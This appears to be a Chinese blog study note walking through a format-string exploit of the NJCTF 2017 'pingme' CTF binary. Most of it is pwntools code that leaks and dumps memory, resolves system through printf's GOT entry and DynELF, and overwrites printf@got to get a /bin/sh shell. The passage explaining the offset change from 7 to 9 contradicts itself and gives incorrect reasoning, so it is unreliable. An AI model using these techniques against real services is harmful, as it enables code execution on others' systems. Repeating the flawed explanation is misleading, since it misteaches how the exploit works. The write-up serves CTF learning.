Pwn·fmt学习笔记

0x1 前言

fmt可以泄漏任意地址内容以及对地址进行写入,fmt漏洞一旦存在,则用处颇大,笔者近期复现了NJCTF 2017的pingme题目,在此做学习笔记。

0x2 题目获取

题目复现
执行./run.sh即可

0x3 解题过程

这是一道blind fmt,没有下发elf和libc,因此需要先与靶机交互获得一些信息。
尝试输入

 nc 127.0.0.1 10001Ping meABCD%7$xABCD44434241

回显地址,很明显是格式字符串,按照常理,需要对参数位置进行枚举

def exec_fmt(payload):
   p.sendline(payload)
   info = p.recv()
   return info
auto = FmtStr(exec_fmt)
offset = auto.offset
success(f"offset is {offset}")

发现参数是7
然后可以利用fmt来dump内存获得elf文件

dumpfile

这是一个32位的程序

在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了。在对内存 \x00 进行 leak 时,数据长度为零,直接给它赋值就可以了。

利用fmt将内存中的可执行文件dump下来

def dump_memory(start_addr, end_addr):
    result = b""  # 使用字节类型
    while start_addr < end_addr:
        p = remote('127.0.0.1', 10001)
        p.recvline()
        #print result.encode('hex')
        payload = b"%9$s.AAA" + p32(start_addr)
        p.sendline(payload)
        data = p.recvuntil(b".AAA")[:-4]  # 修改为字节类型
        if data == b"":  # 修改为字节类型
            data = b"\x00"
        log.info(f"leaking {start_addr},{data}")
        result += data
        start_addr += len(data)
        p.close()
    return result

start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr, end_addr)

with open("code.bin", "wb") as f:
    f.write(code_bin)
    f.close()

在格式化字符串攻击中,偏移量是用来定位参数在堆栈中的位置的。根据你的描述,ABCD%7$x 表示 ABCD 在第 7 个参数的位置。然而,在你的 dump_memory 函数中,构造的 payload 变成了 "%9$s.AAA" + p32(start_addr),这意味着你要打印的内容 %9$s 被指定为第 9 个参数。

之所以从 7 改为 9,是因为在新的 payload 中,实际传递给 printf 的参数比原先更多。具体原因如下:

  1. 基础格式化字符串
    • %9$s.AAA 中的 %9$s 是格式化字符串,它指向第 9 个参数。
  2. 增加的地址参数
    • p32(start_addr) 是附加到格式化字符串之后的实际地址,这个地址在堆栈中也是一个参数。

当你构造 payload "%9$s.AAA" + p32(start_addr) 时, p32(start_addr) 将地址放在堆栈中一个额外的位置。因此,原来位于第 7 个参数的位置变成了第 9 个参数。

示例分析

假设原来的堆栈情况是这样的:

  1. ABCD
  2. 参数1
  3. 参数2
  4. 参数3
  5. 参数4
  6. 参数5
  7. 参数6

%7$s 表示取第 7 个参数。

当你加入 p32(start_addr) 后,堆栈情况变成:

  1. ABCD
  2. 参数1
  3. 参数2
  4. 参数3
  5. 参数4
  6. 参数5
  7. 参数6
  8. start_addr # 这是 p32(start_addr) 加入后的新参数位置

现在 start_addr 实际上是第 9 个参数,所以你需要用 %9$s 来引用它。

在这里插入图片描述

确认新的偏移

为了确认新的偏移,我们使用了 FmtStr(exec_fmt) 来自动探测新的偏移量,并发现偏移量是 9。这一步是关键,因为不同的程序可能由于参数传递的变化,导致偏移量有所不同。

拿到libc

利用printf的got泄露

def get_printf_addr():
    p.recvline()
    gdb.attach(p)
    payload = b"%9$s.AAA" + p32(printf_got)
    p.sendline(payload)
    data = u32(p.recvuntil(".AAA")[:4])
    
    log.info("printf address: 0x%x" % data)
    return data

get_printf_addr()

$ ./find printf 670
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
offset_printf = 0x00051670
offset_system = 0x0003cc50

在这里插入图片描述

然后弄system,可以看到,我们成功的泄露了printf的函数地址,然后我们利用这个libc-database中搜libc,拿到libc,就可以算出libc-base-addr然后拿到system

zephyr@zephyr-virtual-machine:/mnt/hgfs/CTF/train/pwn/CTF-All-In-One-master/src/writeup/6.1.2_pwn_njctf2017_pingme/libc-database$ ./find printf a90
ubuntu-glibc (libc6-amd64_2.31-0ubuntu9.15_i386)

DynELF

首先找到程序的入口地址

在这里插入图片描述

如图是 0x8048490

def leak(addr):
    p = remote('127.0.0.1', '10001')
    payload = b"%9$s.AAA" + p32(addr)
    p.sendlineafter(b"Ping me\n",payload)
    data = p.recvuntil(".AAA")[:-4] + b"\x00"
    log.info("leaking: 0x%x --> %s" % (addr, data.hex()))
    p.close()
    return data
data = DynELF(leak, 0x08048490)     # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)

attack

将system的地址写到printf@got中,然后送 /bin/sh 这样就相当于执行了 system("/bin/sh"

利用 fmtstr_payload 构造payload

payload = fmtstr_payload(7,{printf_got:system_addr})

将printf的got改成system的地址,这样程序调用printf的时候,实际上调用的是system然后发送字符串 /bin/sh,就可以在调用 printf(“/bin/sh”) 的时候实际上调用 system(“/bin/sh”)。

  • 30
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值